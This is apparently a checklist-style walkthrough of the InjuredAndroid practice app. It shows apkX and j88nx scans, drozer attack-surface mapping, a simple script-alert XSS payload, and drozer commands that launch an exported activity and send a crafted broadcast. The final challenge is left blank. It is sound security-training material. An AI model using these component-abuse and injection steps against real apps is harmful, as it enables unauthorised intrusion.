# Injured Android

* [ ] Test fo Leaked Secrets with [apkX](https://github.com/cyinnove/apkX)

```
sallam@Mac-mini-Mosaad tools % ./apkx ../apps/InjuredAndroid.apk 
```

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FzWNBhN04IBU6Uqq5dMtm%2Fimage.png?alt=media&#x26;token=04b8d6ab-50b6-4de3-8f2d-07a8e16a7a2e" alt=""><figcaption></figcaption></figure>

* [ ] Test for Janus Bug with [j88nx](https://github.com/h0tak88r/j88nx)

```
sallam@Mac-mini-Mosaad tools % ./j88nx -apk ../apps/InjuredAndroid.apk 
```

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FthS4J0Sn9xfD935DJnOR%2Fimage.png?alt=media&#x26;token=0b7eecc7-fb1f-4242-8fdc-45d0fd3bf5b4" alt=""><figcaption></figcaption></figure>

* [ ] Use Drozer for Information Gathering and and Attack Surface Mapping

```bash
# Enable drozer agent in the emulator
# Starting Session
adb forward tcp:31415 tcp:31415
# start the drozer application in the emulator
drozer console connect
drozer console connect --server <ip>

# List Modes
ls
ls activity

# Retrieving package information 
run app.package.list -f <app name>
run app.package.info -a <package name>

# Identifying the attack surface
run app.package.attacksurface <package name>
```

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FpnOKzzWceBU9UK9HDLG0%2Fimage.png?alt=media&#x26;token=ed017bbf-f323-4167-b393-16e85857e99c" alt=""><figcaption></figcaption></figure>

* [ ] **XSS**

```
<script>alert('Android');</script>
```

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FVeskODzGsDx6VljSgxca%2Fimage.png?alt=media&#x26;token=85867ddb-2da5-4a23-ada1-69a9c1ecca38" alt=""><figcaption></figcaption></figure>

* [ ] **Challenge 1:** Login Activity

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FbROJ3zYlayzsAr9Iftye%2Fimage.png?alt=media&#x26;token=e9298db1-afde-4b67-b675-02406b1adf69" alt=""><figcaption></figcaption></figure>

* [ ] **Challenge 2:** exported activity

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FOmPkOsvaSj7ebKkCHHjv%2Fimage.png?alt=media&#x26;token=7a5716c0-2d1a-44de-afcb-18a585f93068" alt=""><figcaption></figcaption></figure>

```
dz> run app.activity.start --component b3nac.injuredandroid b3nac.injuredandroid.b25lActivity
Attempting to run shell module
```

* [ ] **Challenge 3**: Resopurce

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FAgsWLiFTjg1sbz9yQEQs%2Fimage.png?alt=media&#x26;token=c6235ddd-d60b-4de6-a808-bd67c83744bd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FTKqQO0hWEHlHXjNBj1hg%2Fimage.png?alt=media&#x26;token=6d7267af-3bd5-4d5a-8601-3e4527da318e" alt=""><figcaption></figcaption></figure>

* [ ] **Challenge 4**: Decoder

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FZDgF90knh6DY5QVlLPre%2Fimage.png?alt=media&#x26;token=cde31591-c416-4ee9-837f-ce74f48ae702" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FzXDMoQsNlgut91fAovDW%2Fimage.png?alt=media&#x26;token=1b4b6c4e-ede3-464d-8364-69a924cac9c6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2F7cH9rfk75joQTao7XqPB%2Fimage.png?alt=media&#x26;token=e883f04a-b00e-4556-b12f-19c25455bd6d" alt=""><figcaption><p>Take this and decode it </p></figcaption></figure>

```
echo 'NF9vdmVyZG9uZV9vbWVsZXRz' | base64 -d
```

* [ ] **Challenge 5**: Exploit Exported Broadcast Receiver

```
# in drozer
run app.broadcast.info -a b3nac.injuredandroid -i
run app.broadcast.send --component b3nac.injuredandroid b3nac.injandroid.TestBroadcastReceiver --extra string url hacked
```

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FqlDIfvEpeUmDpvc2VRfF%2Fimage.png?alt=media&#x26;token=51d0fdaf-d78d-4278-a4a7-32e954b57c23" alt=""><figcaption></figcaption></figure>

* [ ] **Challenge 6:**&#x20;
*

